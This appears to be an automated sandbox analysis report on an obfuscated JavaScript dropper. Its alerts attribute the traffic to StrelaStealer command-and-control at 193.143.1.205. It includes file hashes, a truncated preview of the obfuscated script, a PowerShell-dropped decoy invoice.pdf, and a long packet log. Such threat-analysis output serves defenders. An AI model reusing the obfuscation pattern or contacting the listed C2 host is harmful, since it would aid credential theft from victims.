File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R0777owWLaGZDwYIGNPJe:Jb3mlind9i4ufFXpAXkrfUs0UwWLaGZo
MD5:	A292787F33B6A2690672445EB9A4F937
SHA1:	ADBD2B485FF15FAC9CF0C5EAEEAFF7B4EC8AF26C
SHA-256:	46FA158305389D5A7682C007E9FEBB08C4D2B57F4F590FF894AC3747EAB6C5AF
SHA-512:	F94EE27708CF0B9354CCF4C3A13594266AD9074053736BDD5C679383F7E87901A3B735F33A7FE5F879B065FF2EFB9F8FE3AF71061BA4528982916CC531215093
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d4f216a1-da32-42b3-a513-178c44f2a47f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17473), with CRLF line terminators
Entropy (8bit):	4.9121613120476395
TrID:
File name:	24755260942519232167.js
File size:	21'058 bytes
MD5:	75929d522edf2fe8fd2e4eb0e59eb862
SHA1:	335f92216a207a3df9339f5aca14a642b2590c0c
SHA256:	cc20377c2c639487399b9a43f3dd5c0de7f72777990f86d4f2e3b6a07d8e4e90
SHA512:	b59cba32b8f16c55a747e2e9137167335dc9cec7b066864a29b2c44259847bfda44ca2ce12f7edf7af2e7ddbd641cc51a9a4388bb085ba532d642db3a23a95fa
SSDEEP:	384:jBc8NPaZb724UK8L1ABHC1Rv3ag06nduA82xFlOWrBDZ:FFpaZb724QUHsv3agA2VrBDZ
TLSH:	2E9273D4C84986C656E097B84DD200907BEC1BCA076C5A7EABFBD186ED4162393F35F1
File Content Preview:	function eofqbnyah(){fvigfowjs=[1031,3079,5127,4103,2055,3072];var cpocr=this[odfwtgakb+zswwvb+mwzxxiv+fvhicmgmc+vhkbr+fctfhvhez+qkxqpm+lypzpasgh](this[stnjqdqtz+vowvbwcto+rnutekynh+mwzxxiv+dyecuonix+odfwtgakb+lypzpasgh][vqzkkjrjh+mwzxxiv+vhkbr+zswwvb+lyp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:54:00.446016+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-11T05:54:00.446016+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-11T05:54:03.056354+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:53:59.597609997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:53:59.606043100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:53:59.606188059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:53:59.609112978 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:53:59.617237091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.445897102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.445962906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.445997953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.446016073 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.446050882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.446094990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.446105957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.446126938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.446157932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.446176052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.446194887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.446229935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.446248055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.446266890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.446314096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.451086044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.493855953 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.505743027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.505774975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.505825996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.570213079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.570252895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.570321083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.570327997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.570383072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.570429087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.570435047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.570470095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.570513010 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.570966005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.571023941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.571074009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.571371078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.571407080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.571453094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.571459055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.571495056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.571531057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.571546078 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.572290897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.572325945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.572344065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.572364092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.572397947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.572402000 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.572432995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.572493076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.573276997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.573314905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.573348999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.573360920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.573385954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.573434114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.642059088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.671895027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.671962976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.671977043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.672000885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.672049999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.694611073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.694669962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.694708109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.694730997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.694745064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.694781065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.694792032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.694880962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.694931030 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.694986105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.695039988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.695076942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.695090055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.695113897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.695183992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.695442915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.695499897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.695537090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.695550919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.695630074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.695668936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.695688009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.695708036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.695741892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.695753098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.696302891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.696360111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.696379900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.696412086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.696446896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.696481943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.696490049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.696535110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.696847916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.696902037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.696937084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.696986914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.696990967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.697022915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.697037935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.697093010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.697143078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.697144032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.697798014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.697832108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.697854042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.697870970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.697916985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.697941065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.697977066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.698012114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.698023081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.698050022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.698096991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.698712111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.698766947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.698802948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.698820114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.698839903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.698875904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.698895931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.698944092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.698995113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.734344959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.734404087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.734438896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.734469891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.764347076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.764403105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.796200037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.796226978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.796238899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.796361923 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.796392918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.796406031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.796418905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.796452999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.796477079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.819200993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819220066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819232941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819246054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819274902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.819293022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819298983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819303989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.819365025 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.819418907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819458008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819469929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819513083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.819570065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819581985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819591999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819621086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.819649935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.819876909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819938898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819971085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.819983006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.820012093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820024014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820051908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.820225000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820236921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820255041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820265055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820274115 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.820276022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820302010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820307016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.820360899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.820573092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820621014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820624113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.820636034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820686102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.820790052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820811033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820822001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820852995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.820919991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820931911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.820961952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.821021080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821032047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821041107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821079016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.821089029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.821419954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821432114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821444035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821491957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.821542025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821552992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821564913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821576118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821580887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.821614981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.821742058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821754932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821785927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.821800947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821814060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821825027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.821842909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.821872950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.822370052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.822381973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.822395086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.822422028 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.822465897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.822475910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.822487116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.822493076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.822513103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.822540045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.822577000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.822623014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.822654963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.822668076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.822678089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.822689056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.822714090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.822737932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:54:00.823203087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.823257923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.823268890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 05:54:00.823297024 CET	49709	80	192.168.2.6	193.143.1.205
